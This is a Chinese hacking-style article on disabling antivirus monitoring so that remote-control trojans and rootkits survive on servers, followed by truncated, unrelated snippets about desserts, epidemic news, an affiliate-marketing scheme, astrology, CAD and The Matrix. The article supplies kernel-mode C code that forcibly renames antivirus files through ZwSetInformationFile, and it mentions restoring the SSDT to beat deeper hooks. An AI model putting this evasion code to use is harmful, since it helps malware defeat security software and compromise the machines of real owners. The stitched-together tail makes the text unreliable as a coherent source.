这篇文章本来前2天就打算发出来的,最近手头有点小事,今天有空就把这篇文章整理出来了,前面先说点题外话。对于传统的远控来说,由于流传面积广,都成为各大杀软的重点查杀目标。不光特征码多,还有个致命缺陷。那就是关键释放过程早已被杀软熟悉了,严格的来说,这些木马的行为已经被杀软所掌握。如注射远程线程,启动傀儡IE,加载驱动,注册服务,修改敏感系统注册表键值等,这些行为靠修改特征码是很难做到的。所以经常出现这样的情况,刚做好的免杀过不了多久总会被杀软查杀。基本处于 免杀->被杀->在免->再被杀 尤其是象鸽子 PS这样的远控,如果是仅仅为控制好玩,那我不多说什么了。如果要使自己的ROOTKIT能够在服务器上长期存在,那么势必要自己独立开发一款属于自己的ROOTKIT,这个不是今天要讲的主题,以后有时间了,在发写如何编写ROOTKIT的文章,上周我发了一篇关于“一句话过360监控”的帖子,好象前天360已经修复了这个漏洞。今天我就说下,如何打造穿透所有杀软监控的程序。 首先 明确一点 当一个文件的路径被改变的时候,其应用程序就会发生错误,要么退出,要么崩溃。一般杀软为了保护自己的文件不被重命名,要么设置文件为“只读”属性,,要么利用Inline Hook IofCallDriver拦截删除(重命名)文件请求的API 如(CreateFile()),这样保护了自己的文件不被删除或重命名。其实重命名就是一个删除文件,再建文件的过程。 关于具体的实现代码,请百度或者google下,关于ring3下利用createFile()和Inline Hook IofCallDriver保护文件不被删除的原理,这里主要将如何强行重命名文件,导致杀软的所有监控失效。 对于一句话过360监控,我们是通过MoveFile()实现的,跟踪MoveFile可知,它会调用ZwSetInformationFile实现文件移动功能,这里要说下关于FileInformation的结构_FILE_RENAME_INFORMATION是未公开的,所以还是逆向下他的结构。 typedef struct _FILE_RENAME_INFORMATION { BOOLEAN ReplaceIfExists; HANDLE RootDirectory; ULONG FileNameLength; WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; 其中ReplaceIfExists判断是否存在重命名的文件夹,RootDirectory 文件的绝对物理路径,ULONG FileNameLength文件名字长度,FileName文件名。这里说下,关于FileNameLength这个参数可以通过sizeof()这个函数获得,我们的实现过程如下,利用ZwCreateFile()打开文件夹,利用ZwSetInformationFile修改文件名。其实现代码如下: NTSTATUS Rename(PCHAR szFileName1,PCHAR szFileName2) { FILE_RENAME_INFORMATION fri; IO_STATUS_BLOCK iostatus; OBJECT_ATTRIBUTES oa; UNICODE_STRING pathnameW; ANSI_STRING pathnameA; NTSTATUS status; HANDLE hfile =NULL; CHAR szFileNameL[MAXPATHLEN]; strcpy(szFileNameL,"\\\\DosDevices\\\\"); strcat(szFileNameL,szFileName1); RtlInitAnsiString(&pathnameA,szFileNameL ); RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE); InitializeObjectAttributes(&oa, &pathnameW, OBJ_CASE_INSENSITIVE, NULL, NULL); status = ZwCreateFile(&hfile, DELETE, &oa, &iostatus, NULL, 0, FILE_SHARE_READ,FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL,0); RtlFreeUnicodeString(&pathnameW); if(!NT_SUCCESS(status)) { goto done; } strcpy(szFileNameL,\"\\\\DosDevices\\\\\"); strcat(szFileNameL,szFileName2); RtlInitAnsiString(&pathnameA,szFileNameL ); RtlAnsiStringToUnicodeString(&pathnameW,&pathnameA,TRUE); fri.FileNameLength=pathnameW.Length; memcpy(fri.FileName,pathnameW.Buffer,pathnameW.Length); fri.ReplaceIfExists=0; fri.RootDirectory=0; status = ZwSetInformationFile(hfile,&iostatus,&fri,sizeof(fri),FileRenameInformation); RtlFreeUnicodeString(&pathnameW); done: if(hfile) { ZwClose(hfile); } return status; } 这样就可以实现在RING0下强行重命名文件的效果了。当然对于AVP这样底层HOOK的比较深的杀软来说,事先还是需要恢复SSDT才能重命名文件的。一般来说,他会从驱动层过滤IoCallDriver()的请求,导致文件重命名失效,所以对于一些特殊的杀软还是要"特殊照顾"的。
满记甜品是香港地区知名连锁品牌。满记甜品有很多各种各样好吃的甜品。但是价格也不菲,抵不住每天都想吃的食欲呀。现在有了这份满记招牌甜品的配方,可以自己动手做啦!榴莲班戟,芒果班戟,杨枝甘露,芒果西米露,...
新华社北京1月15日电 题:疫情防控“大考”:要把农村地区疫情防控作为重中之重 新华社记者沐铁城 近期,河北、黑龙江疫情引发强烈关注,河北病例主要分布在农村地区,黑龙江近日新增也多与望...
前不久见到在网上有些人在卖一个淘客新项目,便是淘宝客(阿里巴巴)全自动招商合作的挂机软件。许多 初学者见到挂机软件这几个字,都极其的激动,由于见到放置挂机,就想起了躺赚、想起了在家赚钱。这一新项目...
很多朋友了解他们是什么星座。比如,有些人说我是狮子座,有些人说我是天蝎座,但这种全是太阳星座。说白了的太阳星座就是指在这个十二星座月份的一个月内出世的人。一般来说,他们都是有一个太阳星座。殊不知,每一...
一张CAD图纸到手之后你的第一反应是做什么? 当然是看图! 绘图有绘图的技巧,看图也有看图的技巧,今天我就来跟看大家分享一些CAD看图技巧。首先你需要一款给力的CAD看图软件,我一般会使用迅捷CA...
本文导读目录: 1、请问,在黑客帝国3里,莫菲斯说的那句话:有些事已被改变,而有些永远不会,完整的英文怎么写?谢谢 2、黑客帝国3经典英文台词 3、黑客帝国3墨菲斯和奈奥比最后对话 4、黑...